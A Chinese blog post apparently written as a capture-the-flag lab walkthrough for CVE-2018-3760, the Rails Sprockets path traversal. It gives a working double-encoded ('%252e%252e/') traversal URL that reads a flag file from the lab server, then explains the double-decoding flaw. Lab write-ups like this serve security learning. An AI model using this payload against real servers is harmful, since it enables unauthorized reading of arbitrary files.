春秋云境CVE-2018-3760

1.阅读靶场介绍

可以使用特制的请求来访问存在于应用程序根目录之外的文件系统上的文件

这句话简单来说就是

对url做手脚哟

2.启动靶场

如下图所示

3.poc

直接构造如下的url

复制代码
https://eci-2zei9aluohdz2xjnhint.cloudeci1.ichunqiu.com:80/assets/file:%2F%2F/usr/src/blog/app/assets/javascripts/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/flag

到这里我们就可以完成夺旗了哟

4.原理

Ruby On Rails 是著名的 Ruby Web 开发框架,它在开发环境中使用 Sprockets 作为静态文件服务器。Sprockets 是一个编译和分发静态资源文件的 Ruby 库。Sprockets 3.7.1及更低版本存在二次解码导致的路径遍历漏洞。攻击者可以%252e%252e/用来访问根目录并读取或执行目标服务器上的任何文件,../第一次转码:%2E%2E/,因为%也要进行二次编码,第二次编码就是:%252e%252e/。

本质上就是../../../../../的二次转码版本哟

喜欢您能喜欢我的文章

感谢你宝贵的时间

相关推荐
安教安全员通关宝14 小时前
2026年浙江安全员A证考试题库+答案+解析
安全
2601_9672127214 小时前
轨道式插座安全结构、认证要求与场景参数技术说明
大数据·经验分享·安全
admin and root15 小时前
《神农安全.AI漏洞挖掘src赏金》单独开放!
安全·web安全·网络安全·数据挖掘·渗透测试·ai安全·白帽子黑客
LMT_Lanmantech15 小时前
Altium Designer许可安全合规:30天合规认证窗口,不是“准备时间”,是“举证窗口”
安全·软件许可证
学逆向的15 小时前
C++ 匿名命名空间
开发语言·c++·网络安全
Smoothcloud润云15 小时前
远程纳管GPU怎么安全升级?驱动、组件灰度与回滚实战
人工智能·深度学习·安全·gpu算力·gpu·数据库管理员
Oiiouui15 小时前
关于 Logto 登录系统的体验以及建议
javascript·安全·react
zyxqyy&∞16 小时前
sqli-labs-union联合查询(Less1-Less4)
数据库·安全
零域行者16 小时前
JavaScript基础(网安入门专用)
web安全
域智盾软件17 小时前
文件外发管理:小微、中型、研发涉密,三种环境怎么配
安全·域智盾